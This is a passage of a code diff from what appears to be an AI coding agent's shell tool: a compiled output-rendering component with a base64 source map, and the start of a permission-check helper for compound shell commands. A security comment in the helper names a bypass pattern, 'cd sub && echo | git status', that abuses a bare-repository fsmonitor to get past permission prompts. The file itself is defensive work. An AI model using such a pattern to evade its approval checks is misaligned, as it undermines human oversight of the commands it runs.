+ $[23] = t9;
164
+ } else {
165
+ t9 = $[23];
166
+ }
167
+ let t10;
168
+ if ($[24] !== timeoutMs) {
169
+ t10 = timeoutMs && <MessageResponse><ShellTimeDisplay timeoutMs={timeoutMs} /></MessageResponse>;
170
+ $[24] = timeoutMs;
171
+ $[25] = t10;
172
+ } else {
173
+ t10 = $[25];
174
+ }
175
+ let t11;
176
+ if ($[26] !== T0 || $[27] !== t10 || $[28] !== t4 || $[29] !== t5 || $[30] !== t6 || $[31] !== t8 || $[32] !== t9) {
177
+ t11 = <T0 flexDirection={t4}>{t5}{t6}{t8}{t9}{t10}</T0>;
178
+ $[26] = T0;
179
+ $[27] = t10;
180
+ $[28] = t4;
181
+ $[29] = t5;
182
+ $[30] = t6;
183
+ $[31] = t8;
184
+ $[32] = t9;
185
+ $[33] = t11;
186
+ } else {
187
+ t11 = $[33];
188
+ }
189
+ return t11;
190
+ }
191
+ //# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsInJlbW92ZVNhbmRib3hWaW9sYXRpb25UYWdzIiwiS2V5Ym9hcmRTaG9ydGN1dEhpbnQiLCJNZXNzYWdlUmVzcG9uc2UiLCJPdXRwdXRMaW5lIiwiU2hlbGxUaW1lRGlzcGxheSIsIkJveCIsIlRleHQiLCJPdXQiLCJCYXNoT3V0IiwiUHJvcHMiLCJjb250ZW50IiwiT21pdCIsInZlcmJvc2UiLCJ0aW1lb3V0TXMiLCJTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiIsImV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyIsInN0ZGVyciIsImNsZWFuZWRTdGRlcnIiLCJ2aW9sYXRpb25zTWF0Y2giLCJtYXRjaCIsInRyaW0iLCJleHRyYWN0Q3dkUmVzZXRXYXJuaW5nIiwiY3dkUmVzZXRXYXJuaW5nIiwicmVwbGFjZSIsIkJhc2hUb29sUmVzdWx0TWVzc2FnZSIsInQwIiwiJCIsIl9jIiwidDEiLCJzdGRvdXQiLCJ0MiIsInQzIiwiaXNJbWFnZSIsInJldHVybkNvZGVJbnRlcnByZXRhdGlvbiIsIm5vT3V0cHV0RXhwZWN0ZWQiLCJiYWNrZ3JvdW5kVGFza0lkIiwidW5kZWZpbmVkIiwic3RkRXJyV2l0aFZpb2xhdGlvbnMiLCJUMCIsInQ0IiwidDUiLCJ0NiIsInQ3IiwiU3ltYm9sIiwiZm9yIiwiYmIwIiwic3RkZXJyV2l0aG91dFZpb2xhdGlvbnMiLCJ0OCIsInQ5IiwidDEwIiwidDExIl0sInNvdXJjZXMiOlsiQmFzaFRvb2xSZXN1bHRNZXNzYWdlLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgeyByZW1vdmVTYW5kYm94VmlvbGF0aW9uVGFncyB9IGZyb20gJ3NyYy91dGlscy9zYW5kYm94L3NhbmRib3gtdWktdXRpbHMuanMnXG5pbXBvcnQgeyBLZXlib2FyZFNob3J0Y3V0SGludCB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvZGVzaWduLXN5c3RlbS9LZXlib2FyZFNob3J0Y3V0SGludC5qcydcbmltcG9ydCB7IE1lc3NhZ2VSZXNwb25zZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvTWVzc2FnZVJlc3BvbnNlLmpzJ1xuaW1wb3J0IHsgT3V0cHV0TGluZSB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvc2hlbGwvT3V0cHV0TGluZS5qcydcbmltcG9ydCB7IFNoZWxsVGltZURpc3BsYXkgfSBmcm9tICcuLi8uLi9jb21wb25lbnRzL3NoZWxsL1NoZWxsVGltZURpc3BsYXkuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQgdHlwZSB7IE91dCBhcyBCYXNoT3V0IH0gZnJvbSAnLi9CYXNoVG9vbC5qcydcblxudHlwZSBQcm9wcyA9IHtcbiAgY29udGVudDogT21pdDxCYXNoT3V0LCAnaW50ZXJydXB0ZWQnPlxuICB2ZXJib3NlOiBib29sZWFuXG4gIHRpbWVvdXRNcz86IG51bWJlclxufVxuXG4vLyBQYXR0ZXJuIHRvIG1hdGNoIFwiU2hlbGwgY3dkIHdhcyByZXNldCB0byA8cGF0aD5cIiBtZXNzYWdlXG4vLyBVc2UgKD86XnxcXG4pIHRvIG1hdGNoIGVpdGhlciBzdGFydCBvZiBzdHJpbmcgb3IgYWZ0ZXIgYSBuZXdsaW5lXG5jb25zdCBTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiA9IC8oPzpefFxcbikoU2hlbGwgY3dkIHdhcyByZXNldCB0byAuKykkL1xuXG4vKipcbiAqIEV4dHJhY3RzIHNhbmRib3ggdmlvbGF0aW9ucyBmcm9tIHN0ZGVyciBpZiBwcmVzZW50XG4gKiBSZXR1cm5zIGJvdGggdGhlIGNsZWFuZWQgc3RkZXJyIGFuZCB0aGUgdmlvbGF0aW9ucyBjb250ZW50XG4gKi9cbmZ1bmN0aW9uIGV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyhzdGRlcnI6IHN0cmluZyk6IHtcbiAgY2xlYW5lZFN0ZGVycjogc3RyaW5nXG59IHtcbiAgY29uc3QgdmlvbGF0aW9uc01hdGNoID0gc3RkZXJyLm1hdGNoKFxuICAgIC88c2FuZGJveF92aW9sYXRpb25zPihbXFxzXFxTXSo/KTxcXC9zYW5kYm94X3Zpb2xhdGlvbnM+LyxcbiAgKVxuXG4gIGlmICghdmlvbGF0aW9uc01hdGNoKSB7XG4gICAgcmV0dXJuIHsgY2xlYW5lZFN0ZGVycjogc3RkZXJyIH1cbiAgfVxuXG4gIC8vIFJlbW92ZSB0aGUgc2FuZGJveCB2aW9sYXRpb25zIHNlY3Rpb24gZnJvbSBzdGRlcnJcbiAgY29uc3QgY2xlYW5lZFN0ZGVyciA9IHJlbW92ZVNhbmRib3hWaW9sYXRpb25UYWdzKHN0ZGVycikudHJpbSgpXG5cbiAgcmV0dXJuIHtcbiAgICBjbGVhbmVkU3RkZXJyLFxuICB9XG59XG5cbi8qKlxuICogRXh0cmFjdHMgdGhlIFwiU2hlbGwgY3dkIHdhcyByZXNldFwiIHdhcm5pbmcgbWVzc2FnZSBmcm9tIHN0ZGVyclxuICogUmV0dXJucyB0aGUgY2xlYW5lZCBzdGRlcnIgYW5kIHRoZSB3YXJuaW5nIG1lc3NhZ2Ugc2VwYXJhdGVseVxuICovXG5mdW5jdGlvbiBleHRyYWN0Q3dkUmVzZXRXYXJuaW5nKHN0ZGVycjogc3RyaW5nKToge1xuICBjbGVhbmVkU3RkZXJyOiBzdHJpbmdcbiAgY3dkUmVzZXRXYXJuaW5nOiBzdHJpbmcgfCBudWxsXG59IHtcbiAgY29uc3QgbWF0Y2ggPSBzdGRlcnIubWF0Y2goU0hFTExfQ1dEX1JFU0VUX1BBVFRFUk4pXG4gIGlmICghbWF0Y2gpIHtcbiAgICByZXR1cm4geyBjbGVhbmVkU3RkZXJyOiBzdGRlcnIsIGN3ZFJlc2V0V2FybmluZzogbnVsbCB9XG4gIH1cblxuICAvLyBFeHRyYWN0IHRoZSB3YXJuaW5nIG1lc3NhZ2UgZnJvbSBjYXB0dXJlIGdyb3VwIDFcbiAgY29uc3QgY3dkUmVzZXRXYXJuaW5nID0gbWF0Y2hbMV0gPz8gbnVsbFxuICAvLyBSZW1vdmUgdGhlIHdhcm5pbmcgZnJvbSBzdGRlcnIgKHJlcGxhY2UgdGhlIGZ1bGwgbWF0Y2gpXG4gIGNvbnN0IGNsZWFuZWRTdGRlcnIgPSBzdGRlcnIucmVwbGFjZShTSEVMTF9DV0RfUkVTRVRfUEFUVEVSTiwgJycpLnRyaW0oKVxuXG4gIHJldHVybiB7IGNsZWFuZWRTdGRlcnIsIGN3ZFJlc2V0V2FybmluZyB9XG59XG5cbmV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIEJhc2hUb29sUmVzdWx0TWVzc2FnZSh7XG4gIGNvbnRlbnQ6IHtcbiAgICBzdGRvdXQgPSAnJyxcbiAgICBzdGRlcnI6IHN0ZEVycldpdGhWaW9sYXRpb25zID0gJycsXG4gICAgaXNJbWFnZSxcbiAgICByZXR1cm5Db2RlSW50ZXJwcmV0YXRpb24sXG4gICAgbm9PdXRwdXRFeHBlY3RlZCxcbiAgICBiYWNrZ3JvdW5kVGFza0lkLFxuICB9LFxuICB2ZXJib3NlLFxuICB0aW1lb3V0TXMsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIEV4dHJhY3Qgc2FuZGJveCB2aW9sYXRpb25zIGZyb20gc3RkZXJyIGFzIGl0IGZlZWxzIGNsZWFuZXIgb24gdGhlIFVJXG4gIC8vIFdlIHdhbnQgdGhlIG1vZGVsIHRvIHNlZSB0aGUgdmlvbGF0aW9ucywgc28gaXQgY2FuIGV4cGxhaW4gd2hhdCB3ZW50IHdyb25nLCBhbmQgdGhlXG4gIC8vIHVzZXIgY2FuIGFjY2VzcyB0aGVtIGluIHRoZSB2aW9sYXRpb24gbG9nc1xuICBjb25zdCB7IGNsZWFuZWRTdGRlcnI6IHN0ZGVycldpdGhvdXRWaW9sYXRpb25zIH0gPVxuICAgIGV4dHJhY3RTYW5kYm94VmlvbGF0aW9ucyhzdGRFcnJXaXRoVmlvbGF0aW9ucylcblxuICAvLyBFeHRyYWN0IFwiU2hlbGwgY3dkIHdhcyByZXNldFwiIHdhcm5pbmcgdG8gcmVuZGVyIGl0IHdpdGggd2FybmluZyBjb2xvciBpbnN0ZWFkIG9mIGVycm9yXG4gIGNvbnN0IHsgY2xlYW5lZFN0ZGVycjogc3RkZXJyLCBjd2RSZXNldFdhcm5pbmcgfSA9IGV4dHJhY3RDd2RSZXNldFdhcm5pbmcoXG4gICAgc3RkZXJyV2l0aG91dFZpb2xhdGlvbnMsXG4gIClcblxuICAvLyBJZiB0aGlzIGlzIGFuIGltYWdlLCB3ZSBkb24ndCB3YW50IHRvIHRydW5jYXRlIGl0IGluIHRoZSBVSVxuICBpZiAoaXNJbWFnZSkge1xuICAgIHJldHVybiAoXG4gICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgIDxUZXh0IGRpbUNvbG9yPltJbWFnZSBkYXRhIGRldGVjdGVkIGFuZCBzZW50IHRvIENsYXVkZV08L1RleHQ+XG4gICAgICA8L01lc3NhZ2VSZXNwb25zZT5cbiAgICApXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAge3N0ZG91dCAhPT0gJycgPyA8T3V0cHV0TGluZSBjb250ZW50PXtzdGRvdXR9IHZlcmJvc2U9e3ZlcmJvc2V9IC8+IDogbnVsbH1cbiAgICAgIHtzdGRlcnIudHJpbSgpICE9PSAnJyA/IChcbiAgICAgICAgPE91dHB1dExpbmUgY29udGVudD17c3RkZXJyfSB2ZXJib3NlPXt2ZXJib3NlfSBpc0Vycm9yIC8+XG4gICAgICApIDogbnVsbH1cbiAgICAgIHtjd2RSZXNldFdhcm5pbmcgPyAoXG4gICAgICAgIDxNZXNzYWdlUmVzcG9uc2U+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+e2N3ZFJlc2V0V2FybmluZ308L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKSA6IG51bGx9XG4gICAgICB7c3Rkb3V0ID09PSAnJyAmJiBzdGRlcnIudHJpbSgpID09PSAnJyAmJiAhY3dkUmVzZXRXYXJuaW5nID8gKFxuICAgICAgICA8TWVzc2FnZVJlc3BvbnNlIGhlaWdodD17MX0+XG4gICAgICAgICAgPFRleHQgZGltQ29sb3I+XG4gICAgICAgICAgICB7YmFja2dyb3VuZFRhc2tJZCA/IChcbiAgICAgICAgICAgICAgPD5cbiAgICAgICAgICAgICAgICBSdW5uaW5nIGluIHRoZSBiYWNrZ3JvdW5keycgJ31cbiAgICAgICAgICAgICAgICA8S2V5Ym9hcmRTaG9ydGN1dEhpbnQgc2hvcnRjdXQ9XCLihpNcIiBhY3Rpb249XCJtYW5hZ2VcIiBwYXJlbnMgLz5cbiAgICAgICAgICAgICAgPC8+XG4gICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICByZXR1cm5Db2RlSW50ZXJwcmV0YXRpb24gfHxcbiAgICAgICAgICAgICAgKG5vT3V0cHV0RXhwZWN0ZWQgPyAnRG9uZScgOiAnKE5vIG91dHB1dCknKVxuICAgICAgICAgICAgKX1cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgIDwvTWVzc2FnZVJlc3BvbnNlPlxuICAgICAgKSA6IG51bGx9XG4gICAgICB7dGltZW91dE1zICYmIChcbiAgICAgICAgPE1lc3NhZ2VSZXNwb25zZT5cbiAgICAgICAgICA8U2hlbGxUaW1lRGlzcGxheSB0aW1lb3V0TXM9e3RpbWVvdXRNc30gLz5cbiAgICAgICAgPC9NZXNzYWdlUmVzcG9uc2U+XG4gICAgICApfVxuICAgIDwvQm94PlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxLQUFLLE1BQU0sT0FBTztBQUN6QixTQUFTQywwQkFBMEIsUUFBUSx1Q0FBdUM7QUFDbEYsU0FBU0Msb0JBQW9CLFFBQVEsd0RBQXdEO0FBQzdGLFNBQVNDLGVBQWUsUUFBUSxxQ0FBcUM7QUFDckUsU0FBU0MsVUFBVSxRQUFRLHNDQUFzQztBQUNqRSxTQUFTQyxnQkFBZ0IsUUFBUSw0Q0FBNEM7QUFDN0UsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLFFBQVEsY0FBYztBQUN4QyxjQUFjQyxHQUFHLElBQUlDLE9BQU8sUUFBUSxlQUFlO0FBRW5ELEtBQUtDLEtBQUssR0FBRztFQUNYQyxPQUFPLEVBQUVDLElBQUksQ0FBQ0gsT0FBTyxFQUFFLGFBQWEsQ0FBQztFQUNyQ0ksT0FBTyxFQUFFLE9BQU87RUFDaEJDLFNBQVMsQ0FBQyxFQUFFLE1BQU07QUFDcEIsQ0FBQzs7QUFFRDtBQUNBO0FBQ0EsTUFBTUMsdUJBQXVCLEdBQUcsc0NBQXNDOztBQUV0RTtBQUNBO0FBQ0E7QUFDQTtBQUNB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N0MsQ0FDRixFQVZDLElBQUksQ0FXUCxFQVpDLGVBQWUsQ0FhVixHQWRQLElBY087SUFBQVIsQ0FBQSxPQUFBUyxnQkFBQTtJQUFBVCxDQUFBLE9BQUFKLGVBQUE7SUFBQUksQ0FBQSxPQUFBUSxnQkFBQTtJQUFBUixDQUFBLE9BQUFPLHdCQUFBO0lBQUFQLENBQUEsT0FBQVYsTUFBQTtJQUFBVSxDQUFBLE9BQUFHLE1BQUE7SUFBQUgsQ0FBQSxPQUFBc0IsRUFBQTtFQUFBO0lBQUFBLEVBQUEsR0FBQXRCLENBQUE7RUFBQTtFQUFBLElBQUF1QixHQUFBO0VBQUEsSUFBQXZCLENBQUEsU0FBQWIsU0FBQTtJQUNQb0MsR0FBQSxHQUFBcEMsU0FJQSxJQUhDLENBQUMsZUFBZSxDQUNkLENBQUMsZ0JBQWdCLENBQVlBLFNBQVMsQ0FBVEEsVUFBUSxDQUFDLEdBQ3hDLEVBRkMsZUFBZSxDQUdqQjtJQUFBYSxDQUFBLE9BQUFiLFNBQUE7SUFBQWEsQ0FBQSxPQUFBdUIsR0FBQTtFQUFBO0lBQUFBLEdBQUEsR0FBQXZCLENBQUE7RUFBQTtFQUFBLElBQUF3QixHQUFBO0VBQUEsSUFBQXhCLENBQUEsU0FBQVksRUFBQSxJQUFBWixDQUFBLFNBQUF1QixHQUFBLElBQUF2QixDQUFBLFNBQUFhLEVBQUEsSUFBQWIsQ0FBQSxTQUFBYyxFQUFBLElBQUFkLENBQUEsU0FBQWUsRUFBQSxJQUFBZixDQUFBLFNBQUFxQixFQUFBLElBQUFyQixDQUFBLFNBQUFzQixFQUFBO0lBN0JIRSxHQUFBLElBQUMsRUFBRyxDQUFlLGFBQVEsQ0FBUixDQUFBWCxFQUFPLENBQUMsQ0FDeEIsQ0FBQUMsRUFBdUUsQ0FDdkUsQ0FBQUMsRUFFTSxDQUNOLENBQUFNLEVBSU0sQ0FDTixDQUFBQyxFQWNNLENBQ04sQ0FBQUMsR0FJRCxDQUNGLEVBOUJDLEVBQUcsQ0E4QkU7SUFBQXZCLENBQUEsT0FBQVksRUFBQTtJQUFBWixDQUFBLE9BQUF1QixHQUFBO0lBQUF2QixDQUFBLE9BQUFhLEVBQUE7SUFBQWIsQ0FBQSxPQUFBYyxFQUFBO0lBQUFkLENBQUEsT0FBQWUsRUFBQTtJQUFBZixDQUFBLE9BQUFxQixFQUFBO0lBQUFyQixDQUFBLE9BQUFzQixFQUFBO0lBQUF0QixDQUFBLE9BQUF3QixHQUFBO0VBQUE7SUFBQUEsR0FBQSxHQUFBeEIsQ0FBQTtFQUFBO0VBQUEsT0E5Qk53QixHQThCTTtBQUFBIiwiaWdub3JlTGlzdCI6W119
src/tools/BashTool/bashCommandHelpers.ts ADDED
@@ -0,0 +1,265 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import type { z } from 'zod/v4'
2
+ import {
3
+ isUnsafeCompoundCommand_DEPRECATED,
4
+ splitCommand_DEPRECATED,
5
+ } from '../../utils/bash/commands.js'
6
+ import {
7
+ buildParsedCommandFromRoot,
8
+ type IParsedCommand,
9
+ ParsedCommand,
10
+ } from '../../utils/bash/ParsedCommand.js'
11
+ import { type Node, PARSE_ABORTED } from '../../utils/bash/parser.js'
12
+ import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
13
+ import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
14
+ import { createPermissionRequestMessage } from '../../utils/permissions/permissions.js'
15
+ import { BashTool } from './BashTool.js'
16
+ import { bashCommandIsSafeAsync_DEPRECATED } from './bashSecurity.js'
17
+
18
+ export type CommandIdentityCheckers = {
19
+ isNormalizedCdCommand: (command: string) => boolean
20
+ isNormalizedGitCommand: (command: string) => boolean
21
+ }
22
+
23
+ async function segmentedCommandPermissionResult(
24
+ input: z.infer<typeof BashTool.inputSchema>,
25
+ segments: string[],
26
+ bashToolHasPermissionFn: (
27
+ input: z.infer<typeof BashTool.inputSchema>,
28
+ ) => Promise<PermissionResult>,
29
+ checkers: CommandIdentityCheckers,
30
+ ): Promise<PermissionResult> {
31
+ // Check for multiple cd commands across all segments
32
+ const cdCommands = segments.filter(segment => {
33
+ const trimmed = segment.trim()
34
+ return checkers.isNormalizedCdCommand(trimmed)
35
+ })
36
+ if (cdCommands.length > 1) {
37
+ const decisionReason = {
38
+ type: 'other' as const,
39
+ reason:
40
+ 'Multiple directory changes in one command require approval for clarity',
41
+ }
42
+ return {
43
+ behavior: 'ask',
44
+ decisionReason,
45
+ message: createPermissionRequestMessage(BashTool.name, decisionReason),
46
+ }
47
+ }
48
+
49
+ // SECURITY: Check for cd+git across pipe segments to prevent bare repo fsmonitor bypass.
50
+ // When cd and git are in different pipe segments (e.g., "cd sub && echo | git status"),
51
